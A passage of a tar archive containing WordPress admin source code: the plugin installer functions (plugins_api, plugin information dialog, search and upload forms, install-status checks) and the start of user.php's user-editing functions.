 *         @type bool $tested            Whether to return the 'Compatible up to' value. Default true.
 *         @type bool $requires          Whether to return the required WordPress version. Default true.
 *         @type bool $requires_php      Whether to return the required PHP version. Default true.
 *         @type bool $rating            Whether to return the rating in percent and total number of ratings.
 *                                       Default true.
 *         @type bool $ratings           Whether to return the number of rating for each star (1-5). Default true.
 *         @type bool $downloaded        Whether to return the download count. Default true.
 *         @type bool $downloadlink      Whether to return the download link for the package. Default true.
 *         @type bool $last_updated      Whether to return the date of the last update. Default true.
 *         @type bool $added             Whether to return the date when the plugin was added to the wordpress.org
 *                                       repository. Default true.
 *         @type bool $tags              Whether to return the assigned tags. Default true.
 *         @type bool $compatibility     Whether to return the WordPress compatibility list. Default true.
 *         @type bool $homepage          Whether to return the plugin homepage link. Default true.
 *         @type bool $versions          Whether to return the list of all available versions. Default false.
 *         @type bool $donate_link       Whether to return the donation link. Default true.
 *         @type bool $reviews           Whether to return the plugin reviews. Default false.
 *         @type bool $banners           Whether to return the banner images links. Default false.
 *         @type bool $icons             Whether to return the icon links. Default false.
 *         @type bool $active_installs   Whether to return the number of active installations. Default false.
 *         @type bool $group             Whether to return the assigned group. Default false.
 *         @type bool $contributors      Whether to return the list of contributors. Default false.
 *     }
 * }
 * @return object|array|WP_Error Response object or array on success, WP_Error on failure. See the
 *         {@link https://developer.wordpress.org/reference/functions/plugins_api/ function reference article}
 *         for more information on the make-up of possible return values depending on the value of `$action`.
 */
function plugins_api( $action, $args = array() ) {
	// Include an unmodified $wp_version.
	require ABSPATH . WPINC . '/version.php';

if ( is_array( $args ) ) {
		$args = (object) $args;
	}

if ( 'query_plugins' === $action ) {
		if ( ! isset( $args->per_page ) ) {
			$args->per_page = 24;
		}
	}

if ( ! isset( $args->locale ) ) {
		$args->locale = get_user_locale();
	}

if ( ! isset( $args->wp_version ) ) {
		$args->wp_version = substr( $wp_version, 0, 3 ); // x.y
	}

/**
	 * Filters the WordPress.org Plugin Installation API arguments.
	 *
	 * Important: An object MUST be returned to this filter.
	 *
	 * @since 2.7.0
	 *
	 * @param object $args   Plugin API arguments.
	 * @param string $action The type of information being requested from the Plugin Installation API.
	 */
	$args = apply_filters( 'plugins_api_args', $args, $action );

/**
	 * Filters the response for the current WordPress.org Plugin Installation API request.
	 *
	 * Passing a non-false value will effectively short-circuit the WordPress.org API request.
	 *
	 * If `$action` is 'query_plugins' or 'plugin_information', an object MUST be passed.
	 * If `$action` is 'hot_tags' or 'hot_categories', an array should be passed.
	 *
	 * @since 2.7.0
	 *
	 * @param false|object|array $result The result object or array. Default false.
	 * @param string             $action The type of information being requested from the Plugin Installation API.
	 * @param object             $args   Plugin API arguments.
	 */
	$res = apply_filters( 'plugins_api', false, $action, $args );

if ( false === $res ) {

$url = 'http://api.wordpress.org/plugins/info/1.2/';
		$url = add_query_arg(
			array(
				'action'  => $action,
				'request' => $args,
			),
			$url
		);

$http_url = $url;
		$ssl      = wp_http_supports( array( 'ssl' ) );
		if ( $ssl ) {
			$url = set_url_scheme( $url, 'https' );
		}

$http_args = array(
			'timeout'    => 15,
			'user-agent' => 'WordPress/' . $wp_version . '; ' . home_url( '/' ),
		);
		$request   = wp_remote_get( $url, $http_args );

if ( $ssl && is_wp_error( $request ) ) {
			if ( ! wp_is_json_request() ) {
				trigger_error(
					sprintf(
						/* translators: %s: Support forums URL. */
						__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
						__( 'https://wordpress.org/support/forums/' )
					) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ),
					headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE
				);
			}

$request = wp_remote_get( $http_url, $http_args );
		}

if ( is_wp_error( $request ) ) {
			$res = new WP_Error(
				'plugins_api_failed',
				sprintf(
					/* translators: %s: Support forums URL. */
					__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
					__( 'https://wordpress.org/support/forums/' )
				),
				$request->get_error_message()
			);
		} else {
			$res = json_decode( wp_remote_retrieve_body( $request ), true );
			if ( is_array( $res ) ) {
				// Object casting is required in order to match the info/1.0 format.
				$res = (object) $res;
			} elseif ( null === $res ) {
				$res = new WP_Error(
					'plugins_api_failed',
					sprintf(
						/* translators: %s: Support forums URL. */
						__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
						__( 'https://wordpress.org/support/forums/' )
					),
					wp_remote_retrieve_body( $request )
				);
			}

if ( isset( $res->error ) ) {
				$res = new WP_Error( 'plugins_api_failed', $res->error );
			}
		}
	} elseif ( ! is_wp_error( $res ) ) {
		$res->external = true;
	}

/**
	 * Filters the Plugin Installation API response results.
	 *
	 * @since 2.7.0
	 *
	 * @param object|WP_Error $res    Response object or WP_Error.
	 * @param string          $action The type of information being requested from the Plugin Installation API.
	 * @param object          $args   Plugin API arguments.
	 */
	return apply_filters( 'plugins_api_result', $res, $action, $args );
}

/**
 * Retrieve popular WordPress plugin tags.
 *
 * @since 2.7.0
 *
 * @param array $args
 * @return array
 */
function install_popular_tags( $args = array() ) {
	$key  = md5( serialize( $args ) );
	$tags = get_site_transient( 'poptags_' . $key );
	if ( false !== $tags ) {
		return $tags;
	}

$tags = plugins_api( 'hot_tags', $args );

if ( is_wp_error( $tags ) ) {
		return $tags;
	}

set_site_transient( 'poptags_' . $key, $tags, 3 * HOUR_IN_SECONDS );

return $tags;
}

/**
 * @since 2.7.0
 */
function install_dashboard() {
	?>
	<p>
		<?php
		printf(
			/* translators: %s: https://wordpress.org/plugins/ */
			__( 'Plugins extend and expand the functionality of WordPress. You may automatically install plugins from the <a href="%s">WordPress Plugin Directory</a> or upload a plugin in .zip format by clicking the button at the top of this page.' ),
			__( 'https://wordpress.org/plugins/' )
		);
		?>
	</p>

<?php display_plugins_table(); ?>

<div class="plugins-popular-tags-wrapper">
	<h2><?php _e( 'Popular tags' ); ?></h2>
	<p><?php _e( 'You may also browse based on the most popular tags in the Plugin Directory:' ); ?></p>
	<?php

$api_tags = install_popular_tags();

echo '<p class="popular-tags">';
	if ( is_wp_error( $api_tags ) ) {
		echo $api_tags->get_error_message();
	} else {
		// Set up the tags in a way which can be interpreted by wp_generate_tag_cloud().
		$tags = array();
		foreach ( (array) $api_tags as $tag ) {
			$url                  = self_admin_url( 'plugin-install.php?tab=search&type=tag&s=' . urlencode( $tag['name'] ) );
			$data                 = array(
				'link'  => esc_url( $url ),
				'name'  => $tag['name'],
				'slug'  => $tag['slug'],
				'id'    => sanitize_title_with_dashes( $tag['name'] ),
				'count' => $tag['count'],
			);
			$tags[ $tag['name'] ] = (object) $data;
		}
		echo wp_generate_tag_cloud(
			$tags,
			array(
				/* translators: %s: Number of plugins. */
				'single_text'   => __( '%s plugin' ),
				/* translators: %s: Number of plugins. */
				'multiple_text' => __( '%s plugins' ),
			)
		);
	}
	echo '</p><br class="clear" /></div>';
}

/**
 * Displays a search form for searching plugins.
 *
 * @since 2.7.0
 * @since 4.6.0 The `$type_selector` parameter was deprecated.
 *
 * @param bool $deprecated Not used.
 */
function install_search_form( $deprecated = true ) {
	$type = isset( $_REQUEST['type'] ) ? wp_unslash( $_REQUEST['type'] ) : 'term';
	$term = isset( $_REQUEST['s'] ) ? wp_unslash( $_REQUEST['s'] ) : '';
	?>
	<form class="search-form search-plugins" method="get">
		<input type="hidden" name="tab" value="search" />
		<label class="screen-reader-text" for="typeselector"><?php _e( 'Search plugins by:' ); ?></label>
		<select name="type" id="typeselector">
			<option value="term"<?php selected( 'term', $type ); ?>><?php _e( 'Keyword' ); ?></option>
			<option value="author"<?php selected( 'author', $type ); ?>><?php _e( 'Author' ); ?></option>
			<option value="tag"<?php selected( 'tag', $type ); ?>><?php _ex( 'Tag', 'Plugin Installer' ); ?></option>
		</select>
		<label class="screen-reader-text" for="search-plugins"><?php _e( 'Search Plugins' ); ?></label>
		<input type="search" name="s" id="search-plugins" value="<?php echo esc_attr( $term ); ?>" class="wp-filter-search" placeholder="<?php esc_attr_e( 'Search plugins...' ); ?>" />
		<?php submit_button( __( 'Search Plugins' ), 'hide-if-js', false, false, array( 'id' => 'search-submit' ) ); ?>
	</form>
	<?php
}

/**
 * Upload from zip
 *
 * @since 2.8.0
 */
function install_plugins_upload() {
	?>
<div class="upload-plugin">
	<p class="install-help"><?php _e( 'If you have a plugin in a .zip format, you may install or update it by uploading it here.' ); ?></p>
	<form method="post" enctype="multipart/form-data" class="wp-upload-form" action="<?php echo self_admin_url( 'update.php?action=upload-plugin' ); ?>">
		<?php wp_nonce_field( 'plugin-upload' ); ?>
		<label class="screen-reader-text" for="pluginzip"><?php _e( 'Plugin zip file' ); ?></label>
		<input type="file" id="pluginzip" name="pluginzip" accept=".zip" />
		<?php submit_button( __( 'Install Now' ), '', 'install-plugin-submit', false ); ?>
	</form>
</div>
	<?php
}

/**
 * Show a username form for the favorites page
 *
 * @since 3.5.0
 */
function install_plugins_favorites_form() {
	$user   = get_user_option( 'wporg_favorites' );
	$action = 'save_wporg_username_' . get_current_user_id();
	?>
	<p><?php _e( 'If you have marked plugins as favorites on WordPress.org, you can browse them here.' ); ?></p>
	<form method="get">
		<input type="hidden" name="tab" value="favorites" />
		<p>
			<label for="user"><?php _e( 'Your WordPress.org username:' ); ?></label>
			<input type="search" id="user" name="user" value="<?php echo esc_attr( $user ); ?>" />
			<input type="submit" class="button" value="<?php esc_attr_e( 'Get Favorites' ); ?>" />
			<input type="hidden" id="wporg-username-nonce" name="_wpnonce" value="<?php echo esc_attr( wp_create_nonce( $action ) ); ?>" />
		</p>
	</form>
	<?php
}

/**
 * Display plugin content based on plugin list.
 *
 * @since 2.7.0
 *
 * @global WP_List_Table $wp_list_table
 */
function display_plugins_table() {
	global $wp_list_table;

switch ( current_filter() ) {
		case 'install_plugins_favorites':
			if ( empty( $_GET['user'] ) && ! get_user_option( 'wporg_favorites' ) ) {
				return;
			}
			break;
		case 'install_plugins_recommended':
			echo '<p>' . __( 'These suggestions are based on the plugins you and other users have installed.' ) . '</p>';
			break;
		case 'install_plugins_beta':
			printf(
				/* translators: %s: URL to "Features as Plugins" page. */
				'<p>' . __( 'You are using a development version of WordPress. These feature plugins are also under development. <a href="%s">Learn more</a>.' ) . '</p>',
				'https://make.wordpress.org/core/handbook/about/release-cycle/features-as-plugins/'
			);
			break;
	}

?>
	<form id="plugin-filter" method="post">
		<?php $wp_list_table->display(); ?>
	</form>
	<?php
}

/**
 * Determine the status we can perform on a plugin.
 *
 * @since 3.0.0
 *
 * @param array|object $api  Data about the plugin retrieved from the API.
 * @param bool         $loop Optional. Disable further loops. Default false.
 * @return array {
 *     Plugin installation status data.
 *
 *     @type string $status  Status of a plugin. Could be one of 'install', 'update_available', 'latest_installed' or 'newer_installed'.
 *     @type string $url     Plugin installation URL.
 *     @type string $version The most recent version of the plugin.
 *     @type string $file    Plugin filename relative to the plugins directory.
 * }
 */
function install_plugin_install_status( $api, $loop = false ) {
	// This function is called recursively, $loop prevents further loops.
	if ( is_array( $api ) ) {
		$api = (object) $api;
	}

// Default to a "new" plugin.
	$status      = 'install';
	$url         = false;
	$update_file = false;
	$version     = '';

/*
	 * Check to see if this plugin is known to be installed,
	 * and has an update awaiting it.
	 */
	$update_plugins = get_site_transient( 'update_plugins' );
	if ( isset( $update_plugins->response ) ) {
		foreach ( (array) $update_plugins->response as $file => $plugin ) {
			if ( $plugin->slug === $api->slug ) {
				$status      = 'update_available';
				$update_file = $file;
				$version     = $plugin->new_version;
				if ( current_user_can( 'update_plugins' ) ) {
					$url = wp_nonce_url( self_admin_url( 'update.php?action=upgrade-plugin&plugin=' . $update_file ), 'upgrade-plugin_' . $update_file );
				}
				break;
			}
		}
	}

if ( 'install' === $status ) {
		if ( is_dir( WP_PLUGIN_DIR . '/' . $api->slug ) ) {
			$installed_plugin = get_plugins( '/' . $api->slug );
			if ( empty( $installed_plugin ) ) {
				if ( current_user_can( 'install_plugins' ) ) {
					$url = wp_nonce_url( self_admin_url( 'update.php?action=install-plugin&plugin=' . $api->slug ), 'install-plugin_' . $api->slug );
				}
			} else {
				$key = array_keys( $installed_plugin );
				// Use the first plugin regardless of the name.
				// Could have issues for multiple plugins in one directory if they share different version numbers.
				$key = reset( $key );

$update_file = $api->slug . '/' . $key;
				if ( version_compare( $api->version, $installed_plugin[ $key ]['Version'], '=' ) ) {
					$status = 'latest_installed';
				} elseif ( version_compare( $api->version, $installed_plugin[ $key ]['Version'], '<' ) ) {
					$status  = 'newer_installed';
					$version = $installed_plugin[ $key ]['Version'];
				} else {
					// If the above update check failed, then that probably means that the update checker has out-of-date information, force a refresh.
					if ( ! $loop ) {
						delete_site_transient( 'update_plugins' );
						wp_update_plugins();
						return install_plugin_install_status( $api, true );
					}
				}
			}
		} else {
			// "install" & no directory with that slug.
			if ( current_user_can( 'install_plugins' ) ) {
				$url = wp_nonce_url( self_admin_url( 'update.php?action=install-plugin&plugin=' . $api->slug ), 'install-plugin_' . $api->slug );
			}
		}
	}
	if ( isset( $_GET['from'] ) ) {
		$url .= '&amp;from=' . urlencode( wp_unslash( $_GET['from'] ) );
	}

$file = $update_file;
	return compact( 'status', 'url', 'version', 'file' );
}

/**
 * Display plugin information in dialog box form.
 *
 * @since 2.7.0
 *
 * @global string $tab
 */
function install_plugin_information() {
	global $tab;

if ( empty( $_REQUEST['plugin'] ) ) {
		return;
	}

$api = plugins_api(
		'plugin_information',
		array(
			'slug' => wp_unslash( $_REQUEST['plugin'] ),
		)
	);

if ( is_wp_error( $api ) ) {
		wp_die( $api );
	}

$plugins_allowedtags = array(
		'a'          => array(
			'href'   => array(),
			'title'  => array(),
			'target' => array(),
		),
		'abbr'       => array( 'title' => array() ),
		'acronym'    => array( 'title' => array() ),
		'code'       => array(),
		'pre'        => array(),
		'em'         => array(),
		'strong'     => array(),
		'div'        => array( 'class' => array() ),
		'span'       => array( 'class' => array() ),
		'p'          => array(),
		'br'         => array(),
		'ul'         => array(),
		'ol'         => array(),
		'li'         => array(),
		'h1'         => array(),
		'h2'         => array(),
		'h3'         => array(),
		'h4'         => array(),
		'h5'         => array(),
		'h6'         => array(),
		'img'        => array(
			'src'   => array(),
			'class' => array(),
			'alt'   => array(),
		),
		'blockquote' => array( 'cite' => true ),
	);

$plugins_section_titles = array(
		'description'  => _x( 'Description', 'Plugin installer section title' ),
		'installation' => _x( 'Installation', 'Plugin installer section title' ),
		'faq'          => _x( 'FAQ', 'Plugin installer section title' ),
		'screenshots'  => _x( 'Screenshots', 'Plugin installer section title' ),
		'changelog'    => _x( 'Changelog', 'Plugin installer section title' ),
		'reviews'      => _x( 'Reviews', 'Plugin installer section title' ),
		'other_notes'  => _x( 'Other Notes', 'Plugin installer section title' ),
	);

// Sanitize HTML.
	foreach ( (array) $api->sections as $section_name => $content ) {
		$api->sections[ $section_name ] = wp_kses( $content, $plugins_allowedtags );
	}

foreach ( array( 'version', 'author', 'requires', 'tested', 'homepage', 'downloaded', 'slug' ) as $key ) {
		if ( isset( $api->$key ) ) {
			$api->$key = wp_kses( $api->$key, $plugins_allowedtags );
		}
	}

$_tab = esc_attr( $tab );

// Default to the Description tab, Do not translate, API returns English.
	$section = isset( $_REQUEST['section'] ) ? wp_unslash( $_REQUEST['section'] ) : 'description';
	if ( empty( $section ) || ! isset( $api->sections[ $section ] ) ) {
		$section_titles = array_keys( (array) $api->sections );
		$section        = reset( $section_titles );
	}

iframe_header( __( 'Plugin Installation' ) );

$_with_banner = '';

if ( ! empty( $api->banners ) && ( ! empty( $api->banners['low'] ) || ! empty( $api->banners['high'] ) ) ) {
		$_with_banner = 'with-banner';
		$low          = empty( $api->banners['low'] ) ? $api->banners['high'] : $api->banners['low'];
		$high         = empty( $api->banners['high'] ) ? $api->banners['low'] : $api->banners['high'];
		?>
		<style type="text/css">
			#plugin-information-title.with-banner {
				background-image: url( <?php echo esc_url( $low ); ?> );
			}
			@media only screen and ( -webkit-min-device-pixel-ratio: 1.5 ) {
				#plugin-information-title.with-banner {
					background-image: url( <?php echo esc_url( $high ); ?> );
				}
			}
		</style>
		<?php
	}

echo '<div id="plugin-information-scrollable">';
	echo "<div id='{$_tab}-title' class='{$_with_banner}'><div class='vignette'></div><h2>{$api->name}</h2></div>";
	echo "<div id='{$_tab}-tabs' class='{$_with_banner}'>\n";

foreach ( (array) $api->sections as $section_name => $content ) {
		if ( 'reviews' === $section_name && ( empty( $api->ratings ) || 0 === array_sum( (array) $api->ratings ) ) ) {
			continue;
		}

if ( isset( $plugins_section_titles[ $section_name ] ) ) {
			$title = $plugins_section_titles[ $section_name ];
		} else {
			$title = ucwords( str_replace( '_', ' ', $section_name ) );
		}

$class       = ( $section_name === $section ) ? ' class="current"' : '';
		$href        = add_query_arg(
			array(
				'tab'     => $tab,
				'section' => $section_name,
			)
		);
		$href        = esc_url( $href );
		$san_section = esc_attr( $section_name );
		echo "\t<a name='$san_section' href='$href' $class>$title</a>\n";
	}

echo "</div>\n";

?>
<div id="<?php echo $_tab; ?>-content" class='<?php echo $_with_banner; ?>'>
	<div class="fyi">
		<ul>
			<?php if ( ! empty( $api->version ) ) { ?>
				<li><strong><?php _e( 'Version:' ); ?></strong> <?php echo $api->version; ?></li>
			<?php } if ( ! empty( $api->author ) ) { ?>
				<li><strong><?php _e( 'Author:' ); ?></strong> <?php echo links_add_target( $api->author, '_blank' ); ?></li>
			<?php } if ( ! empty( $api->last_updated ) ) { ?>
				<li><strong><?php _e( 'Last Updated:' ); ?></strong>
					<?php
					/* translators: %s: Human-readable time difference. */
					printf( __( '%s ago' ), human_time_diff( strtotime( $api->last_updated ) ) );
					?>
				</li>
			<?php } if ( ! empty( $api->requires ) ) { ?>
				<li>
					<strong><?php _e( 'Requires WordPress Version:' ); ?></strong>
					<?php
					/* translators: %s: Version number. */
					printf( __( '%s or higher' ), $api->requires );
					?>
				</li>
			<?php } if ( ! empty( $api->tested ) ) { ?>
				<li><strong><?php _e( 'Compatible up to:' ); ?></strong> <?php echo $api->tested; ?></li>
			<?php } if ( ! empty( $api->requires_php ) ) { ?>
				<li>
					<strong><?php _e( 'Requires PHP Version:' ); ?></strong>
					<?php
					/* translators: %s: Version number. */
					printf( __( '%s or higher' ), $api->requires_php );
					?>
				</li>
			<?php } if ( isset( $api->active_installs ) ) { ?>
				<li><strong><?php _e( 'Active Installations:' ); ?></strong>
				<?php
				if ( $api->active_installs >= 1000000 ) {
					$active_installs_millions = floor( $api->active_installs / 1000000 );
					printf(
						/* translators: %s: Number of millions. */
						_nx( '%s+ Million', '%s+ Million', $active_installs_millions, 'Active plugin installations' ),
						number_format_i18n( $active_installs_millions )
					);
				} elseif ( 0 == $api->active_installs ) {
					_ex( 'Less Than 10', 'Active plugin installations' );
				} else {
					echo number_format_i18n( $api->active_installs ) . '+';
				}
				?>
				</li>
			<?php } if ( ! empty( $api->slug ) && empty( $api->external ) ) { ?>
				<li><a target="_blank" href="<?php echo __( 'https://wordpress.org/plugins/' ) . $api->slug; ?>/"><?php _e( 'WordPress.org Plugin Page &#187;' ); ?></a></li>
			<?php } if ( ! empty( $api->homepage ) ) { ?>
				<li><a target="_blank" href="<?php echo esc_url( $api->homepage ); ?>"><?php _e( 'Plugin Homepage &#187;' ); ?></a></li>
			<?php } if ( ! empty( $api->donate_link ) && empty( $api->contributors ) ) { ?>
				<li><a target="_blank" href="<?php echo esc_url( $api->donate_link ); ?>"><?php _e( 'Donate to this plugin &#187;' ); ?></a></li>
			<?php } ?>
		</ul>
		<?php if ( ! empty( $api->rating ) ) { ?>
			<h3><?php _e( 'Average Rating' ); ?></h3>
			<?php
			wp_star_rating(
				array(
					'rating' => $api->rating,
					'type'   => 'percent',
					'number' => $api->num_ratings,
				)
			);
			?>
			<p aria-hidden="true" class="fyi-description">
				<?php
				printf(
					/* translators: %s: Number of ratings. */
					_n( '(based on %s rating)', '(based on %s ratings)', $api->num_ratings ),
					number_format_i18n( $api->num_ratings )
				);
				?>
			</p>
			<?php
		}

if ( ! empty( $api->ratings ) && array_sum( (array) $api->ratings ) > 0 ) {
			?>
			<h3><?php _e( 'Reviews' ); ?></h3>
			<p class="fyi-description"><?php _e( 'Read all reviews on WordPress.org or write your own!' ); ?></p>
			<?php
			foreach ( $api->ratings as $key => $ratecount ) {
				// Avoid div-by-zero.
				$_rating    = $api->num_ratings ? ( $ratecount / $api->num_ratings ) : 0;
				$aria_label = esc_attr(
					sprintf(
						/* translators: 1: Number of stars (used to determine singular/plural), 2: Number of reviews. */
						_n(
							'Reviews with %1$d star: %2$s. Opens in a new tab.',
							'Reviews with %1$d stars: %2$s. Opens in a new tab.',
							$key
						),
						$key,
						number_format_i18n( $ratecount )
					)
				);
				?>
				<div class="counter-container">
						<span class="counter-label">
							<?php
							printf(
								'<a href="%s" target="_blank" aria-label="%s">%s</a>',
								"https://wordpress.org/support/plugin/{$api->slug}/reviews/?filter={$key}",
								$aria_label,
								/* translators: %s: Number of stars. */
								sprintf( _n( '%d star', '%d stars', $key ), $key )
							);
							?>
						</span>
						<span class="counter-back">
							<span class="counter-bar" style="width: <?php echo 92 * $_rating; ?>px;"></span>
						</span>
					<span class="counter-count" aria-hidden="true"><?php echo number_format_i18n( $ratecount ); ?></span>
				</div>
				<?php
			}
		}
		if ( ! empty( $api->contributors ) ) {
			?>
			<h3><?php _e( 'Contributors' ); ?></h3>
			<ul class="contributors">
				<?php
				foreach ( (array) $api->contributors as $contrib_username => $contrib_details ) {
					$contrib_name = $contrib_details['display_name'];
					if ( ! $contrib_name ) {
						$contrib_name = $contrib_username;
					}
					$contrib_name = esc_html( $contrib_name );

$contrib_profile = esc_url( $contrib_details['profile'] );
					$contrib_avatar  = esc_url( add_query_arg( 's', '36', $contrib_details['avatar'] ) );

echo "<li><a href='{$contrib_profile}' target='_blank'><img src='{$contrib_avatar}' width='18' height='18' alt='' />{$contrib_name}</a></li>";
				}
				?>
			</ul>
					<?php if ( ! empty( $api->donate_link ) ) { ?>
				<a target="_blank" href="<?php echo esc_url( $api->donate_link ); ?>"><?php _e( 'Donate to this plugin &#187;' ); ?></a>
			<?php } ?>
				<?php } ?>
	</div>
	<div id="section-holder">
	<?php
	$requires_php = isset( $api->requires_php ) ? $api->requires_php : null;
	$requires_wp  = isset( $api->requires ) ? $api->requires : null;

$compatible_php = is_php_version_compatible( $requires_php );
	$compatible_wp  = is_wp_version_compatible( $requires_wp );
	$tested_wp      = ( empty( $api->tested ) || version_compare( get_bloginfo( 'version' ), $api->tested, '<=' ) );

if ( ! $compatible_php ) {
		echo '<div class="notice notice-error notice-alt"><p>';
		_e( '<strong>Error:</strong> This plugin <strong>requires a newer version of PHP</strong>.' );
		if ( current_user_can( 'update_php' ) ) {
			printf(
				/* translators: %s: URL to Update PHP page. */
				' ' . __( '<a href="%s" target="_blank">Click here to learn more about updating PHP</a>.' ),
				esc_url( wp_get_update_php_url() )
			);

wp_update_php_annotation( '</p><p><em>', '</em>' );
		} else {
			echo '</p>';
		}
		echo '</div>';
	}

if ( ! $tested_wp ) {
		echo '<div class="notice notice-warning notice-alt"><p>';
		_e( '<strong>Warning:</strong> This plugin <strong>has not been tested</strong> with your current version of WordPress.' );
		echo '</p></div>';
	} elseif ( ! $compatible_wp ) {
		echo '<div class="notice notice-error notice-alt"><p>';
		_e( '<strong>Error:</strong> This plugin <strong>requires a newer version of WordPress</strong>.' );
		if ( current_user_can( 'update_core' ) ) {
			printf(
				/* translators: %s: URL to WordPress Updates screen. */
				' ' . __( '<a href="%s" target="_parent">Click here to update WordPress</a>.' ),
				self_admin_url( 'update-core.php' )
			);
		}
		echo '</p></div>';
	}

foreach ( (array) $api->sections as $section_name => $content ) {
		$content = links_add_base_url( $content, 'https://wordpress.org/plugins/' . $api->slug . '/' );
		$content = links_add_target( $content, '_blank' );

$san_section = esc_attr( $section_name );

$display = ( $section_name === $section ) ? 'block' : 'none';

echo "\t<div id='section-{$san_section}' class='section' style='display: {$display};'>\n";
		echo $content;
		echo "\t</div>\n";
	}
	echo "</div>\n";
	echo "</div>\n";
	echo "</div>\n"; // #plugin-information-scrollable
	echo "<div id='$tab-footer'>\n";
	if ( ! empty( $api->download_link ) && ( current_user_can( 'install_plugins' ) || current_user_can( 'update_plugins' ) ) ) {
		$status = install_plugin_install_status( $api );
		switch ( $status['status'] ) {
			case 'install':
				if ( $status['url'] ) {
					if ( $compatible_php && $compatible_wp ) {
						echo '<a data-slug="' . esc_attr( $api->slug ) . '" id="plugin_install_from_iframe" class="button button-primary right" href="' . $status['url'] . '" target="_parent">' . __( 'Install Now' ) . '</a>';
					} else {
						printf(
							'<button type="button" class="button button-primary button-disabled right" disabled="disabled">%s</button>',
							_x( 'Cannot Install', 'plugin' )
						);
					}
				}
				break;
			case 'update_available':
				if ( $status['url'] ) {
					if ( $compatible_php ) {
						echo '<a data-slug="' . esc_attr( $api->slug ) . '" data-plugin="' . esc_attr( $status['file'] ) . '" id="plugin_update_from_iframe" class="button button-primary right" href="' . $status['url'] . '" target="_parent">' . __( 'Install Update Now' ) . '</a>';
					} else {
						printf(
							'<button type="button" class="button button-primary button-disabled right" disabled="disabled">%s</button>',
							_x( 'Cannot Update', 'plugin' )
						);
					}
				}
				break;
			case 'newer_installed':
				/* translators: %s: Plugin version. */
				echo '<a class="button button-primary right disabled">' . sprintf( __( 'Newer Version (%s) Installed' ), $status['version'] ) . '</a>';
				break;
			case 'latest_installed':
				echo '<a class="button button-primary right disabled">' . __( 'Latest Version Installed' ) . '</a>';
				break;
		}
	}
	echo "</div>\n";

iframe_footer();
	exit;
}
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������user.php��������������������������������������������������������������������������������������������0000604�����������������00000044033�15075125355�0006243 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * WordPress user administration API.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Creates a new user from the "Users" form using $_POST information.
 *
 * @since 2.0.0
 *
 * @return int|WP_Error WP_Error or User ID.
 */
function add_user() {
	return edit_user();
}

/**
 * Edit user settings based on contents of $_POST
 *
 * Used on user-edit.php and profile.php to manage and process user options, passwords etc.
 *
 * @since 2.0.0
 *
 * @param int $user_id Optional. User ID.
 * @return int|WP_Error User ID of the updated user.
 */
function edit_user( $user_id = 0 ) {
	$wp_roles = wp_roles();
	$user     = new stdClass;
	$user_id  = (int) $user_id;
	if ( $user_id ) {
		$update           = true;
		$user->ID         = $user_id;
		$userdata         = get_userdata( $user_id );
		$user->user_login = wp_slash( $userdata->user_login );
	} else {
		$update = false;
	}

if ( ! $update && isset( $_POST['user_login'] ) ) {
		$user->user_login = sanitize_user( wp_unslash( $_POST['user_login'] ), true );
	}

$pass1 = '';
	$pass2 = '';
	if ( isset( $_POST['pass1'] ) ) {
		$pass1 = $_POST['pass1'];
	}
	if ( isset( $_POST['pass2'] ) ) {
		$pass2 = $_POST['pass2'];
	}

if ( isset( $_POST['role'] ) && current_user_can( 'promote_users' ) && ( ! $user_id || current_user_can( 'promote_user', $user_id ) ) ) {
		$new_role = sanitize_text_field( $_POST['role'] );

// If the new role isn't editable by the logged-in user die with error.
		$editable_roles = get_editable_roles();
		if ( ! empty( $new_role ) && empty( $editable_roles[ $new_role ] ) ) {
			wp_die( __( 'Sorry, you are not allowed to give users that role.' ), 403 );
		}

$potential_role = isset( $wp_roles->role_objects[ $new_role ] ) ? $wp_roles->role_objects[ $new_role ] : false;

/*
		 * Don't let anyone with 'promote_users' edit their own role to something without it.
		 * Multisite super admins can freely edit their roles, they possess all caps.
		 */
		if (
			( is_multisite() && current_user_can( 'manage_network_users' ) ) ||
			get_current_user_id() !== $user_id ||
			( $potential_role && $potential_role->has_cap( 'promote_users' ) )
		) {
			$user->role = $new_role;
		}
	}

if ( isset( $_POST['email'] ) ) {
		$user->user_email = sanitize_text_field( wp_unslash( $_POST['email'] ) );
	}
	if ( isset( $_POST['url'] ) ) {
		if ( empty( $_POST['url'] ) || 'http://' === $_POST['url'] ) {
			$user->user_url = '';
		} else {
			$user->user_url = esc_url_raw( $_POST['url'] );
			$protocols      = implode( '|', array_map( 'preg_quote', wp_allowed_protocols() ) );
			$user->user_url = preg_match( '/^(' . $protocols . '):/is', $user->user_url ) ? $user->user_url : 'http://' . $user->user_url;
		}
	}
	if ( isset( $_POST['first_name'] ) ) {
		$user->first_name = sanitize_text_field( $_POST['first_name'] );
	}
	if ( isset( $_POST['last_name'] ) ) {
		$user->last_name = sanitize_text_field( $_POST['last_name'] );
	}
	if ( isset( $_POST['nickname'] ) ) {
		$user->nickname = sanitize_text_field( $_POST['nickname'] );
	}
	if ( isset( $_POST['display_name'] ) ) {
		$user->display_name = sanitize_text_field( $_POST['display_name'] );
	}

if ( isset( $_POST['description'] ) ) {
		$user->description = trim( $_POST['description'] );
	}

foreach ( wp_get_user_contact_methods( $user ) as $method => $name ) {
		if ( isset( $_POST[ $method ] ) ) {
			$user->$method = sanitize_text_field( $_POST[ $method ] );
		}
	}

if ( isset( $_POST['locale'] ) ) {
		$locale = sanitize_text_field( $_POST['locale'] );
		if ( 'site-default' === $locale ) {
			$locale = '';
		} elseif ( '' === $locale ) {
			$locale = 'en_US';
		} elseif ( ! in_array( $locale, get_available_languages(), true ) ) {
			$locale = '';
		}

$user->locale = $locale;
	}

if ( $update ) {
		$user->rich_editing         = isset( $_POST['rich_editing'] ) && 'false' === $_POST['rich_editing'] ? 'false' : 'true';
